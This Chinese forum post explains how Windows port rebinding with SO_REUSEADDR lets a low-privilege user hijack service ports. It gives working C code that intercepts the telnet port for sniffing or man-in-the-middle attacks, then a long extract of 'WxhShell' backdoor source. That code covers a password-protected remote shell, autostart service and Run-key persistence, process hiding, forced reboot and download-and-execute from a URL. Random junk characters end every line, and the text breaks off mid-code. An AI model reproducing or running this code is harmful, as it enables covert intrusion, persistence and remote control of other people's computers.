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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KTG:I@|C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HGO#e  
_M8G3QOx  
  saddr.sin_family = AF_INET; Z/2,al\  
3]O`[P,*%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IL~]m?'V(  
P0%N Q1bn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MU_!&(X_  
S}oG.r 9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7?6xPKQ)H  
e[x?6He,$  
  这意味着什么?意味着可以进行如下的攻击: NuC-qG#  
rNxrQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *QbM*oH  
Pm$F2YrO3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #4vV%S   
`Y\gSUhzS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q';&SR#"`K  
:3f-9aRC!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S~+O` y^  
!]$V9F{K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WGH%92  
U7^7/s/.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i&'#+f4t  
zP_]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E]?)FH<oP  
<Q2u)m'  
  #include kCj`V2go  
  #include iuiAK  
  #include w Y8@1>ah  
  #include    ^oS$>6|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uQH%.A  
  int main() PT3>E5`Nu  
  { =WIE>*3[  
  WORD wVersionRequested; WMW1B }Z3  
  DWORD ret; 2]L=s3  
  WSADATA wsaData; (C,e6r Y  
  BOOL val; R<"2%oY  
  SOCKADDR_IN saddr; %tT"`%(+  
  SOCKADDR_IN scaddr; Z;ZuS[ZA  
  int err; T>d\%*Q+B  
  SOCKET s; wk" l[cH>  
  SOCKET sc; 3(1 ]FKZtt  
  int caddsize; L ;6b+I  
  HANDLE mt; hS4.3]ei  
  DWORD tid;   30D: ZmlY  
  wVersionRequested = MAKEWORD( 2, 2 ); !n|#|.0m  
  err = WSAStartup( wVersionRequested, &wsaData ); $z*@2Non  
  if ( err != 0 ) { >BBl 7  
  printf("error!WSAStartup failed!\n"); cppL0myJ  
  return -1; O`cdQu  
  } H5~1g6b@  
  saddr.sin_family = AF_INET; ? Phk~ jE  
   kW#S]fsfU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q[-|ZA bbr  
]JH64~a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9/#0?(K8  
  saddr.sin_port = htons(23); ?N:B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rvW!7 -R  
  { *D2Nm9sl  
  printf("error!socket failed!\n"); t5xb"F   
  return -1; Rv98\VD"  
  } 85'nXYN{d  
  val = TRUE; Y=r!2u6r~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 djW cbC=g_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )D;*DUtMVm  
  { 'iJDWxCD  
  printf("error!setsockopt failed!\n"); =/[ltUKs:a  
  return -1; .Y;b)]@f  
  } yH^f\u0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :pRF*^eU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K4 C ^m|e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ',GV6kt_k  
~8TF*3[}[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sI'a1$  
  { D}-o+6TI?  
  ret=GetLastError(); u#1%P5r&X  
  printf("error!bind failed!\n"); ]Kv q |}=  
  return -1; k}GjD2m  
  } 3QW_k5o  
  listen(s,2); ]fZ<`w8u}  
  while(1) |XRImeF'd  
  { v,{h:  
  caddsize = sizeof(scaddr); KF_?'X0=  
  //接受连接请求 f-4.WW2FN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +td<{4oq8  
  if(sc!=INVALID_SOCKET) 9e!vA6Fx  
  { -IadHX}]t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BWh }^3?l  
  if(mt==NULL) :}Ok$^5s  
  { OOokhZd`  
  printf("Thread Creat Failed!\n"); K1OkZ6kl  
  break; r$ =qQ7^#  
  } ^-hErsK  
  } @D~B{Hg  
  CloseHandle(mt); 6gnbkpYi  
  } &f-hG3/M  
  closesocket(s); ND5$bq Nu?  
  WSACleanup(); &R,9+c  
  return 0; 1_uvoFLk  
  }   eX"''PA  
  DWORD WINAPI ClientThread(LPVOID lpParam) eJHp6)2  
  { 3+ =I;nj  
  SOCKET ss = (SOCKET)lpParam; mk%b9Ko<F  
  SOCKET sc; /;Yy@oc  
  unsigned char buf[4096]; `N}d}O8   
  SOCKADDR_IN saddr; S/.^7R7{f  
  long num; \:Za[6  
  DWORD val; ; DDe.f"  
  DWORD ret; | f\D>Y%)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eZH~je{1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <J&7]6Z  
  saddr.sin_family = AF_INET; D^+?|Y@N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <*<U!J-i  
  saddr.sin_port = htons(23); z}+i=cAN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RP! X8~8  
  { )u*^@Wo  
  printf("error!socket failed!\n"); id?"PD"%  
  return -1; *)'Vvu<  
  } [k$efwJ  
  val = 100; =xL)$DTg)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _7"5wB?|+  
  { /aYpIMi9}  
  ret = GetLastError(); RF?DtNuq  
  return -1; L&kr{7q  
  } X`:'i?(yj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O-#TZ   
  { ?,)"~c$hZ  
  ret = GetLastError(); RNWX.g)b  
  return -1; b*EXIzQ  
  } r8[T&z@_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GS;%zdH~  
  { x GH1epf  
  printf("error!socket connect failed!\n"); j+kC-U;  
  closesocket(sc); 8md*wEjk  
  closesocket(ss); 7O)" `  
  return -1; FOH@OY  
  } w<NyV8-hL  
  while(1) booRrTS  
  { .TpsJXF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M:n6BC>t"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [&#/|zH'j:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =sgdkAYwP  
  num = recv(ss,buf,4096,0); 2'|8Q\,:4Z  
  if(num>0) QA?oJ_}y  
  send(sc,buf,num,0); [=uIb._Wv  
  else if(num==0) eKG2*CV  
  break; Zb_apjg[4  
  num = recv(sc,buf,4096,0); =:=/Gz1  
  if(num>0) =-#G8L%Q  
  send(ss,buf,num,0); MsOs{2 )2  
  else if(num==0) w5,Mb  
  break; asVX82<  
  } hH>``gK  
  closesocket(ss); G$bJ+  
  closesocket(sc); W\cjdd  
  return 0 ; ,SUT~oETP  
  } )d`mvZBn1  
I :l01W;  
+v7) 1y  
========================================================== Kct@87z  
!wE}(0BTx  
下边附上一个代码,,WXhSHELL Z7a945Jd  
skg|>R,kE  
========================================================== n V&cC  
Bp?  
#include "stdafx.h" &7>zURv  
56}X/u  
#include <stdio.h> $B (kZ  
#include <string.h> 33Az$GXFsq  
#include <windows.h> 2C=Q8ayvX  
#include <winsock2.h> 7DD&~ZcD  
#include <winsvc.h> #7G*GbKY  
#include <urlmon.h> nw6pV%  
=9wy/c$  
#pragma comment (lib, "Ws2_32.lib") WsGths+[  
#pragma comment (lib, "urlmon.lib") l \OLyQ  
KP]"P*? ?  
#define MAX_USER   100 // 最大客户端连接数 0~Gle:  
#define BUF_SOCK   200 // sock buffer "i^ GmVn  
#define KEY_BUFF   255 // 输入 buffer ravyiO L  
>''U  
#define REBOOT     0   // 重启 A8r^)QJP{  
#define SHUTDOWN   1   // 关机 /F)H\*  
K> g[k_  
#define DEF_PORT   5000 // 监听端口 }G V X>p  
GVGlVAo|@  
#define REG_LEN     16   // 注册表键长度 V3Z]DA  
#define SVC_LEN     80   // NT服务名长度 hz:pbes  
M@et6aud;K  
// 从dll定义API L%"LlS g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r6Aneg7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vvp[P >  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iUi>y.}"P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |{>ER,<-  
&@FhR#pUQ  
// wxhshell配置信息 }<a^</s  
struct WSCFG { SmwQET<H  
  int ws_port;         // 监听端口 h^UKT`9vt  
  char ws_passstr[REG_LEN]; // 口令 #W>QY Tp  
  int ws_autoins;       // 安装标记, 1=yes 0=no cVnJ^*Z  
  char ws_regname[REG_LEN]; // 注册表键名 /]^#b  
  char ws_svcname[REG_LEN]; // 服务名 GL$De,V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sgUud_r)4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *ISZlR\#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KLWn?`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zAzP,1$?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mHc>"^R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dt@P>rel  
2Os1C}m  
}; Qn@Pd*DR  
'a6<ixgo0  
// default Wxhshell configuration %EbPI)yY3  
struct WSCFG wscfg={DEF_PORT, ~^jq(:d)  
    "xuhuanlingzhe", CNZz]H  
    1, &#`l;n:]+  
    "Wxhshell", 1\*\?\T>_  
    "Wxhshell", T;TA7{B  
            "WxhShell Service", @gC=$A#  
    "Wrsky Windows CmdShell Service", -VKS~{  
    "Please Input Your Password: ", #DU26nCL  
  1, @mP]*$00  
  "http://www.wrsky.com/wxhshell.exe", RGKYW>$0RR  
  "Wxhshell.exe" )Z 9E=%  
    }; 8Me:Yp_Xt  
[epi#]m  
// 消息定义模块 *a;@*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U1_@F$mq<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P262Q&.}d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H,fZ!8(A_)  
char *msg_ws_ext="\n\rExit."; )L{ghy  
char *msg_ws_end="\n\rQuit."; }/tf>?c  
char *msg_ws_boot="\n\rReboot..."; #'D" 'B  
char *msg_ws_poff="\n\rShutdown..."; eV:9y  
char *msg_ws_down="\n\rSave to "; vX0f,y  
 xw^R@H  
char *msg_ws_err="\n\rErr!"; Z>c3  
char *msg_ws_ok="\n\rOK!"; lGwl1,=  
RqEH| EUZ  
char ExeFile[MAX_PATH]; hI%bjuq  
int nUser = 0; ^bg2[FV  
HANDLE handles[MAX_USER]; LEMfG~Czq  
int OsIsNt; 3~S'LxV  
IN8>ZV`j)  
SERVICE_STATUS       serviceStatus; 00v&lQBW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u0aJu  
lO&3{dOYE  
// 函数声明 ]D[DU]K  
int Install(void); gb ^?l~SS  
int Uninstall(void); MFTk qbc  
int DownloadFile(char *sURL, SOCKET wsh); J;_}lF9d@  
int Boot(int flag); X[`bMa7IB(  
void HideProc(void); b2aF 'y/  
int GetOsVer(void); *f& EoUk}F  
int Wxhshell(SOCKET wsl); p&+;w  
void TalkWithClient(void *cs); Gj"7s8(/K|  
int CmdShell(SOCKET sock); t!*+8Q !e  
int StartFromService(void); d \x7Zw>  
int StartWxhshell(LPSTR lpCmdLine); BdlVabQyKW  
7K)6^r^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mxb(<9O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g?-lk5  
W;bu2ym&Q  
// 数据结构和表定义 3)-/`iy#  
SERVICE_TABLE_ENTRY DispatchTable[] =  .ObZ\.I  
{ u6>?AW1~  
{wscfg.ws_svcname, NTServiceMain}, G!K]W:m  
{NULL, NULL} l @^3Exwt  
}; )* 4fzo  
dJT]/g  
// 自我安装 |D, +P  
int Install(void) @d Jr/6Yx  
{ nJ~drG}TD  
  char svExeFile[MAX_PATH]; ;"(foY"L  
  HKEY key; Wu4Lxv]B4  
  strcpy(svExeFile,ExeFile); ?5_7;Ha  
t]7&\ihZi~  
// 如果是win9x系统,修改注册表设为自启动 4`JH&))}  
if(!OsIsNt) { iw*Nq,(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *OuStr \o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Ke*JJaq  
  RegCloseKey(key); aLIBD'z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0a-:<zm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /rUo{j  
  RegCloseKey(key); bh^LIU  
  return 0; ,-7R(iMd  
    } 9Xx's%U  
  } m(pE5B(  
} EwOV;>@T?  
else { 7 S?4XyU/o  
\[Z?&  
// 如果是NT以上系统,安装为系统服务 .e_cgad :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +$oF]OO  
if (schSCManager!=0) ]\7]%(  
{ Eb=}FuV  
  SC_HANDLE schService = CreateService ^Z:~91Tv-_  
  ( jDQZQ NS  
  schSCManager, e{m2l2Tx:  
  wscfg.ws_svcname,  -_`>j~  
  wscfg.ws_svcdisp, ,o)d3g-&g  
  SERVICE_ALL_ACCESS, Z!hafhcX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , um9_ru~  
  SERVICE_AUTO_START, R {-5Etv  
  SERVICE_ERROR_NORMAL, {&"N%;`Q  
  svExeFile, kF/9-[]$g,  
  NULL, qUly\b 47  
  NULL, e^.Fa59  
  NULL, (V4 ~`i4V  
  NULL, &hRvol\J  
  NULL .A6(D$ O k  
  ); K)J(./  
  if (schService!=0) =JJL[}a|  
  { ULQMG'P^D  
  CloseServiceHandle(schService); hWX% 66  
  CloseServiceHandle(schSCManager); )B[0JrcE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HD(.BW7  
  strcat(svExeFile,wscfg.ws_svcname); "HPB!)C8(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s`0QA!G{-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rF]h$Z8o  
  RegCloseKey(key); qh`t-  
  return 0; J>/w5$h5  
    } {GC?SaK  
  } x g0iN'e'K  
  CloseServiceHandle(schSCManager); ,_Z+8  
} j ?MAED  
} :_O%/k1\@  
;<leKcvhQ&  
return 1; Q=]w !I\  
} 0}b tXh  
^<e.]F25M  
// 自我卸载 rwGKfoKI  
int Uninstall(void) U\Z?taXB  
{ qHxqQ'ks;  
  HKEY key; =5\|[NSK-  
je!-J8{  
if(!OsIsNt) { 7D<#(CE{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o LvZ   
  RegDeleteValue(key,wscfg.ws_regname); I :vs;-  
  RegCloseKey(key); ub|V\M{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yl3n2R /U  
  RegDeleteValue(key,wscfg.ws_regname); 5-M&5f.   
  RegCloseKey(key); zzxGAVu  
  return 0; l,kUhZ@W  
  } C+TI]{t  
} )a-Du$kd  
} "sG=wjcw^  
else { ariLG [:X  
nJo`B4'U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NUp<e%zB  
if (schSCManager!=0) %@u;5qD&  
{ zzyHoZJP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rnF/H=I/  
  if (schService!=0) p>upA)W]  
  { d!$Z (W0  
  if(DeleteService(schService)!=0) { 2o'Wy  
  CloseServiceHandle(schService); Z:*76PP,  
  CloseServiceHandle(schSCManager); <N%7|t*eT  
  return 0; l6d$V 9A  
  } wYmM"60  
  CloseServiceHandle(schService); /AW=5Ck-#  
  } l?Ya"C`FL  
  CloseServiceHandle(schSCManager); Z-l=\ekJ  
} 8|" XSN  
} ;A*`e$  
:3I@(k\PY  
return 1; #Y4=J 6  
} 1~PV[2a  
:$n=$C -wp  
// 从指定url下载文件 #E&80#Z5  
int DownloadFile(char *sURL, SOCKET wsh) {j7uv"|X7  
{ ^pYxKU_O  
  HRESULT hr; 4y+< dw  
char seps[]= "/"; `5C,N!d8X  
char *token; og kD^   
char *file; Wr( y)D<y}  
char myURL[MAX_PATH]; t{.8|d@  
char myFILE[MAX_PATH]; H XmS|PX  
FAj)OTI2S  
strcpy(myURL,sURL); WS`qVL]^&  
  token=strtok(myURL,seps); 'L8' '(eZ^  
  while(token!=NULL) R.yC(r  
  { i{`;R  
    file=token; GgB,tam{p  
  token=strtok(NULL,seps); ?W)A   
  } vMm1Z5S/  
6E^.7%3  
GetCurrentDirectory(MAX_PATH,myFILE); |fHV2Y`:g  
strcat(myFILE, "\\"); ;NHt7p8SE  
strcat(myFILE, file); RR]CW  
  send(wsh,myFILE,strlen(myFILE),0); tfGHea)M  
send(wsh,"...",3,0); !s&NT @ S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yI"6Da6|y  
  if(hr==S_OK) 1#ft#-g}  
return 0; @9lUSk^9  
else P9vA7[  
return 1; #':fkIYe'  
{62n7'U{  
} z& fwE$Nm  
yp({>{u7  
// 系统电源模块 ?]}8o}G  
int Boot(int flag) K[!&b0O  
{ [_Qa9e  
  HANDLE hToken; @]ytla>d  
  TOKEN_PRIVILEGES tkp; =_:et 0  
d%o&+l#  
  if(OsIsNt) { IyWI5Q"t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tV{ 4"Ij9[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6 BCf:mqP  
    tkp.PrivilegeCount = 1; )s%[T-uKi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l\@)y4 +  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ::}{_ Z  
if(flag==REBOOT) { s;6CExH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) * /:x sI  
  return 0; l p(8E6  
} Ro9tZ'N!S  
else { id1s3b;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,&R/4 :I  
  return 0; -}KC=,]vh  
} @*6 C=LL  
  } Z7=`VNHc  
  else { `.i!NBA'6  
if(flag==REBOOT) { .p e(lP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R wZ]),o  
  return 0; .%L?J E  
} Jz2N  
else { pP*a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $d_|NssvU  
  return 0; ;n&t>pBM  
} OHhsP}/  
} +Zaj,oEE  
`1bv@yzq  
return 1; !Rhl f.x  
} ]%IT|/;9Y  
-i%e!DgH  
// win9x进程隐藏模块 _N{RVeO  
void HideProc(void) @n{JM7ctJ  
{ [E/\#4b  
{/ BT9|LI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "gDb1h)8  
  if ( hKernel != NULL ) =*r]) Vg^  
  { RsY3V=u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'qOREN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fmb} 2h  
    FreeLibrary(hKernel); "HDcmIXg&  
  } @tZ&2RY1  
@Bf%s(Uj+  
return; `Ch9~*p  
} Q+W1lv8R  
LC'{p  
// 获取操作系统版本 !BOY@$Y  
int GetOsVer(void) A m>cd;  
{ Fd[zDz  
  OSVERSIONINFO winfo; jhb6T ?}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3%(N[&LU  
  GetVersionEx(&winfo); id2j7|$,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F7O(Cy"1  
  return 1; i5CK*"$Q  
  else Nw1#M%/!r!  
  return 0; A^y|J ` k|  
} }wHW7SJ  
6{^E{go  
// 客户端句柄模块 Is{KN!Hw  
int Wxhshell(SOCKET wsl) 5*,f Fib  
{ u (em&M  
  SOCKET wsh; &8g?4v  
  struct sockaddr_in client; LQngK7>  
  DWORD myID; 8q,6}mV  
<c qbUL  
  while(nUser<MAX_USER) A*}.EClH  
{ Dk(1}%0U/  
  int nSize=sizeof(client); \kU &^Hi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s#)5h0t#du  
  if(wsh==INVALID_SOCKET) return 1; <7j87  
BA%pY|"Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '<ZlGFt'n  
if(handles[nUser]==0) 'gPzm|f|t@  
  closesocket(wsh); iX2]VRNxl  
else }Du}c3  
  nUser++; 'i4_`^:+  
  } ,Qe?8En[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tm#nUw  
/Q2mMSK1h  
  return 0; Q=/</|  
} :$m}UA-9  
'~&9D:(  
// 关闭 socket #py[  
void CloseIt(SOCKET wsh) |ayVjqJ*  
{ }l],.J\BGX  
closesocket(wsh); @!yMIM%P  
nUser--; vA]W|sLF9  
ExitThread(0); q gL aa  
} Pl"Nus   
s0k`p<q  
// 客户端请求句柄 n1VaLD  
void TalkWithClient(void *cs) qT`k*i?  
{ %Ntcvp)  
N#DYJ-~*  
  SOCKET wsh=(SOCKET)cs; &' Ne! o8  
  char pwd[SVC_LEN]; 9&_<f}ou  
  char cmd[KEY_BUFF]; (<}&DE  
char chr[1]; /q5v"iX]T  
int i,j; 37|&?||  
ak |WW]R  
  while (nUser < MAX_USER) { z2QP)150  
g'V>_u#(  
if(wscfg.ws_passstr) { -1U D0(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D-4f >  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7zSLAHW  
  //ZeroMemory(pwd,KEY_BUFF); or';A'k  
      i=0; i5K[>5  
  while(i<SVC_LEN) { F=a<~EpZ  
Qg[/%$x.  
  // 设置超时 bS"fkf9  
  fd_set FdRead; Htgx`N|  
  struct timeval TimeOut; 2VE9}%i  
  FD_ZERO(&FdRead); G %Q^o5m  
  FD_SET(wsh,&FdRead); ~nG(5:A5g/  
  TimeOut.tv_sec=8; +E.GLn2 /  
  TimeOut.tv_usec=0; t_qNq{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]A<~XIu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fH >NJK;  
 lS'-xEv?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #R.-KUW:  
  pwd=chr[0]; f^"N!f a  
  if(chr[0]==0xd || chr[0]==0xa) { LkK~%tY  
  pwd=0; Gq }U|Z  
  break; =aoMii   
  } viMzR(JU  
  i++; HFaj-~b  
    } "huFA|`  
dK2p7xo  
  // 如果是非法用户,关闭 socket 4*cU<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #[`:'e  
} vWf; 'j  
< VSA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jhg;%+KB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?)1{)Erf8x  
U}PiY"S<  
while(1) { _G.>+!"2/  
UM6(s@$  
  ZeroMemory(cmd,KEY_BUFF); s8#X3Rp  
*UmI]E{g3(  
      // 自动支持客户端 telnet标准   ktdW`R\+  
  j=0; @p NNq  
  while(j<KEY_BUFF) { WUsKnf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 371 TvZ4  
  cmd[j]=chr[0]; HO}Hh[{V9  
  if(chr[0]==0xa || chr[0]==0xd) { 2g>SHS@1>  
  cmd[j]=0; fIwV\,s  
  break; jr!?v<NoX  
  } Lg*B>=  
  j++; CS=qj-(  
    } }=8B*  
+[tE^`-F  
  // 下载文件 v>-VlQ  
  if(strstr(cmd,"http://")) { dnb)/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n_(/JE>  
  if(DownloadFile(cmd,wsh)) PX n;C/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AG?dGj^  
  else y1bbILWej  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $a"n1ou  
  } s+EAB{w$  
  else { Gmq/3tw  
m$W <  
    switch(cmd[0]) { nCj2N,mT  
  - qy6Un+  
  // 帮助 c(n&A~*AJ%  
  case '?': { isZAoYVu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v(-{=*':  
    break; J~1r{5V4{  
  } B{C??g8/  
  // 安装 n>^Y$yy}!  
  case 'i': { PV4(hj  
    if(Install()) 3+G@g#MY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$ma;U d  
    else (s7;^)}zx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lobGj8uxq  
    break; 7~GB;1n  
    } X '`~s}vGO  
  // 卸载 ]):<ZsT  
  case 'r': { 5i1>I=N  
    if(Uninstall()) mqAWL:VvQ7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :xh?e N&  
    else d_)o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &xY^OCt  
    break; elG<k%/2  
    } Y))u&*RuT0  
  // 显示 wxhshell 所在路径 `9uB~LY^i  
  case 'p': { wm$}Pch  
    char svExeFile[MAX_PATH]; 1I<rXY(a`  
    strcpy(svExeFile,"\n\r"); {6c2{@  
      strcat(svExeFile,ExeFile); r!HwXeEn/  
        send(wsh,svExeFile,strlen(svExeFile),0); JoN\]JL\,  
    break; -xDGH  
    } 5KDGSo  
  // 重启 ""1^k2fj  
  case 'b': { CFqJ/ ''  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "E8zh|m o  
    if(Boot(REBOOT)) J]G?Rc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2cqI[t@0  
    else { &b?LP]   
    closesocket(wsh); `(f!*Ru@/z  
    ExitThread(0); sM?MLB\Za  
    } %T)oCjM[\  
    break; kWe{r5C7  
    } }2uI?i8  
  // 关机 2;^y4ssg  
  case 'd': { Nv/v$Z{k  
